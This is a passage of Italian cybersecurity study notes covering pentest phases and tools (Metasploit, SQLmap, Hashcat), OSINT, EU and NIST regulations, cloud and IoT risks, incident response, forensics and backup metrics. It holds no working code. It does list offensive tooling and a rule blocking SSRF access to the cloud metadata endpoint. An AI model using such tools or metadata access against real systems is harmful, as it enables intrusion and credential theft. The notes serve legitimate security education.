| Gray Box | Parziale (credenziali user, schema rete) | Insider a basso privilegio |
| White Box | Completa (codice sorgente, architettura) | Revisione sicurezza completa |
Fasi (metodologia PTES/OWASP): Recon → Scanning → Exploitation → Post-exploitation → Reporting
Raccolta di informazioni sul target prima di qualsiasi interazione diretta — OSINT (Open Source Intelligence).
| Tecnica | Strumento | Informazione raccolta |
|---|---|---|
| DNS lookup | nslookup, dig | Record A, MX, NS, TXT, zone transfer |
| WHOIS | whois | Registrante dominio, date, nameserver |
| Google Dorking | Motore Google | File esposti, pannelli admin, errori |
| Shodan | shodan.io | Dispositivi internet-facing, banner servizi |
| traceroute | tracert/traceroute | Topologia di rete, hop intermedi |
| Social media | LinkedIn, GitHub | Dipendenti, tecnologie usate, email |
| Strumento | Categoria | Uso |
|---|---|---|
| Nmap | Network scanner | Port scan, OS detection, service version |
| Nessus / OpenVAS | Vulnerability scanner | Scansione CVE automatizzata |
| Metasploit | Exploitation framework | Libreria exploit, payload, post-exploitation |
| Burp Suite | Web proxy | Intercetta/modifica richieste HTTP, test OWASP |
| Wireshark | Packet analyzer | Cattura e analisi traffico di rete |
| Hashcat / John | Password cracker | Brute force / dictionary attack su hash |
| SQLmap | SQL Injection | Rilevamento e sfruttamento automatico SQLi |
| Nikto | Web scanner | Scan vulnerabilità web server |
| Kali Linux | OS | Distribuzione Linux con tutti gli strumenti integrati |
Normative & Standard
Regolamento europeo sulla protezione dei dati personali, in vigore dal 25 maggio 2018. Si applica a qualsiasi organizzazione che tratti dati di cittadini UE.
| Principio | Significato |
|---|---|
| Liceità, correttezza, trasparenza | Base giuridica per il trattamento (consenso, contratto, obbligo legale…) |
| Limitazione della finalità | Dati raccolti solo per scopi determinati ed espliciti |
| Minimizzazione | Solo i dati strettamente necessari |
| Esattezza | Dati aggiornati e corretti |
| Limitazione della conservazione | Non oltre il tempo necessario |
| Integrità e riservatezza | Misure tecniche e organizzative adeguate |
- Data breach: notifica all'Autorità (Garante) entro 72 ore
- Sanzioni: fino a €20M o 4% del fatturato globale annuo
- DPO (Data Protection Officer): obbligatorio per enti pubblici e grandi trattatori
- Diritti dell'interessato: accesso, rettifica, cancellazione (diritto all'oblio), portabilità, opposizione
Standard internazionale per la gestione della sicurezza delle informazioni (ISMS — Information Security Management System). Certificabile da enti accreditati.
- Basato sul ciclo PDCA (Plan-Do-Check-Act)
- Annesso A: 93 controlli di sicurezza organizzati in 4 domini (organizzativo, persone, fisico, tecnologico)
- Richiede risk assessment documentato e trattamento dei rischi
- Audit di certificazione + sorveglianza annuale + rinnovo ogni 3 anni
Framework volontario del NIST (National Institute of Standards and Technology) per gestire il rischio cyber. Versione 2.0 pubblicata nel 2024.
| Funzione | Obiettivo |
|---|---|
| Govern | Strategia, policy, ruoli (nuovo in CSF 2.0) |
| Identify | Inventario asset, valutazione rischi |
| Protect | Controlli preventivi, accessi, training |
| Detect | Monitoraggio, rilevamento anomalie |
| Respond | Incident response, contenimento |
| Recover | Ripristino, business continuity |
Aggiornamento della Direttiva NIS (2016), in vigore dal 2023 con recepimento entro ottobre 2024. Estende gli obblighi di sicurezza a molti più settori.
- Settori essenziali: energia, trasporti, banche, infrastrutture digitali, sanità, acqua, spazio
- Settori importanti: servizi postali, gestione rifiuti, produzione, fornitori digitali
- Obblighi: misure di gestione del rischio, notifica incidenti entro 24h (alert) e 72h (notifica completa)
- Responsabilità del management: gli organi direttivi rispondono personalmente
- Sanzioni: fino a €10M o 2% fatturato globale (settori essenziali)
| Principio | Significato pratico |
|---|---|
| Privacy by Design | La protezione dei dati è integrata nella progettazione del sistema fin dall'inizio, non aggiunta dopo |
| Privacy by Default | Le impostazioni predefinite devono essere le più privacy-friendly possibili (es. profilo privato di default) |
7 principi fondanti (Ann Cavoukian): proattivo · privacy di default · privacy nel design · funzionalità totale · sicurezza end-to-end · visibilità · rispetto per la privacy utente.
Cloud Security
| Modello | Gestisci tu | Gestisce il provider | Esempi |
|---|---|---|---|
| IaaS | OS, middleware, app, dati | Hardware, rete, storage fisico | AWS EC2, Azure VM, GCP Compute |
| PaaS | App e dati | OS, runtime, middleware, infra | Heroku, Google App Engine, Azure App Service |
| SaaS | Solo configurazione e dati | Tutto il resto | Office 365, Salesforce, Google Workspace |
Modelli di deployment: Public cloud (risorse condivise) · Private cloud (dedicato) · Hybrid (on-premise + cloud) · Multi-cloud (più provider).
| Rischio | Contromisura |
|---|---|
| Misconfiguration (S3 pubblici, SG aperti) | CSPM (Cloud Security Posture Management), policy IaC |
| IAM eccessivamente permissivo | Least privilege, MFA, revisione periodica permessi |
| Data breach su storage cloud | Cifratura at-rest e in-transit, CASB |
| Insider threat | UEBA, logging accessi, separazione dei privilegi |
| API non protette | API Gateway, OAuth 2.0, rate limiting, WAF |
| SSRF verso metadata endpoint | IMDSv2 (AWS), blocco 169.254.169.254 |
| Area | AWS | Azure | GCP |
|---|---|---|---|
| IAM | AWS IAM, SCP | Azure AD / Entra ID | Cloud IAM |
| Firewall/WAF | Security Groups, AWS WAF | NSG, Azure Firewall | VPC Firewall, Cloud Armor |
| Vulnerability mgmt | Amazon Inspector | Microsoft Defender | Security Command Center |
| SIEM | AWS Security Hub | Microsoft Sentinel | Chronicle |
| Logging | CloudTrail | Azure Monitor / Audit Logs | Cloud Audit Logs |
| Key Management | KMS | Key Vault | Cloud KMS |
Incident Management
| # | Fase | Attività principali |
|---|---|---|
| 1 | Preparation | Policy, procedure, team IR, playbook, strumenti, training |
| 2 | Detection & Analysis | Identificazione incidente, triage, classificazione severità |
| 3 | Containment | Isolare sistemi compromessi (short-term), preservare prove |
| 4 | Eradication | Rimuovere malware, chiudere vettori d'accesso, patch |
| 5 | Recovery | Ripristino sistemi, verifica funzionalità, monitoraggio intensivo |
| 6 | Post-incident (Lessons Learned) | Report, root cause analysis, miglioramenti |
Disciplina che raccoglie, preserva e analizza le prove digitali mantenendo la chain of custody (catena di custodia) per uso legale.
- Ordine di volatilità: raccogliere prima le prove più volatili (RAM → processi → connessioni → log → disco)
- Imaging forense: copia bit-per-bit del disco con hash MD5/SHA256 per verificare integrità
- Analisi artefatti: registry Windows, prefetch, log eventi, timestamp MACB (Modified, Accessed, Changed, Born)
- Timeline analysis: ricostruzione cronologica degli eventi
- Strumenti: Autopsy, FTK, Volatility (RAM), Sleuth Kit
Piattaforma che raccoglie, normalizza e correla log da tutta l'infrastruttura per rilevare minacce in tempo reale e supportare le indagini forensi.
| Funzione | Descrizione |
|---|---|
| Log aggregation | Raccolta centralizzata da firewall, IDS, server, endpoint |
| Normalization | Formato comune per log eterogenei |
| Correlation | Regole che collegano eventi multipli → rilevamento attacchi complessi |
| Alerting | Notifiche su eventi critici al SOC |
| Retention | Conservazione log per compliance (es. 12 mesi per NIS2) |
Esempi: Splunk, IBM QRadar, Microsoft Sentinel, Elastic SIEM, Wazuh (open source).
Mobile Security & IoT
| Minaccia | Descrizione |
|---|---|
| Malware mobile | App malevole da store non ufficiali, adware aggressivo |
| Rogue Wi-Fi / Evil Twin | AP falso che intercetta il traffico (MitM) |
| Smishing / Vishing | Phishing via SMS/chiamata |
| App permission abuse | App richiedono permessi eccessivi (microfono, posizione, contatti) |
| Jailbreak / Root | Rimuove sandbox del sistema → esposizione maggiore |
| SIM Swapping | Portabilità fraudolenta SIM → bypass OTP via SMS |
Contromisure: MDM (Mobile Device Management) per dispositivi aziendali · aggiornamenti OS e app · store ufficiali · VPN aziendale · cifratura dispositivo · remote wipe.
I dispositivi IoT (telecamere, sensori, router, PLC industriali) sono spesso il punto di ingresso più debole delle reti aziendali e domestiche.
| Problema | Impatto |
|---|---|
| Credenziali di default non cambiate | Accesso diretto all'interfaccia admin |
| Firmware non aggiornato | CVE note e non patchate |
| Protocolli insicuri (Telnet, HTTP) | Traffico in chiaro intercettabile |
| Assenza di cifratura | Dati trasmessi in chiaro (es. telecamere) |
| Superficie di attacco enorme | Miliardi di dispositivi, aggiornamenti difficili |
Caso Mirai Botnet (2016): 600.000 dispositivi IoT con credenziali di default compromessi → DDoS da 1.1 Tbps.
Contromisure: segmentazione VLAN IoT isolata · cambio credenziali di default · aggiornamenti firmware · disabilitare servizi inutili · network monitoring.
Business Continuity & Disaster Recovery
| Piano | Acronimo | Focus |
|---|---|---|
| Business Continuity Plan | BCP | Mantiene operativi i processi critici durante un'interruzione |
| Disaster Recovery Plan | DRP | Ripristino dei sistemi IT dopo un disastro |
| Business Impact Analysis | BIA | Identifica processi critici, stima impatto economico del downtime |
| Incident Response Plan | IRP | Risposta a incidenti di sicurezza (cyber) |
Il BCP comprende il DRP — il DRP è il sottopiano che gestisce il ripristino IT.
| Metrica | Nome completo | Definizione |
|---|---|---|
| RTO | Recovery Time Objective | Tempo massimo accettabile per ripristinare il servizio dopo un'interruzione |
| RPO | Recovery Point Objective | Quantità massima di dati che si può perdere (finestra temporale tra un backup e l'altro) |
Disastro accade alle 14:00 Ultimo backup alle 12:00 → RPO = 2 ore (si perdono 2 ore di dati) Sistemi ripristinati alle 18:00 → RTO = 4 ore
Regola 3-2-1: 3 copie dei dati · su 2 supporti diversi · di cui 1 offsite (fuori sede).
| Tipo | Cosa salva | Dimensione | Tempo ripristino |
|---|---|---|---|
| Full | Tutto | Grande | Rapido |
| Incremental | Solo modifiche dall'ultimo backup (full o incr.) | Piccola | Lento (catena) |
| Differential | Modifiche dall'ultimo full | Media | Medio |
Tecniche avanzate: mirroring (sincrono, RPO≈0) · snapshot · replicazione asincrona · backup immutabile (WORM — Write Once Read Many).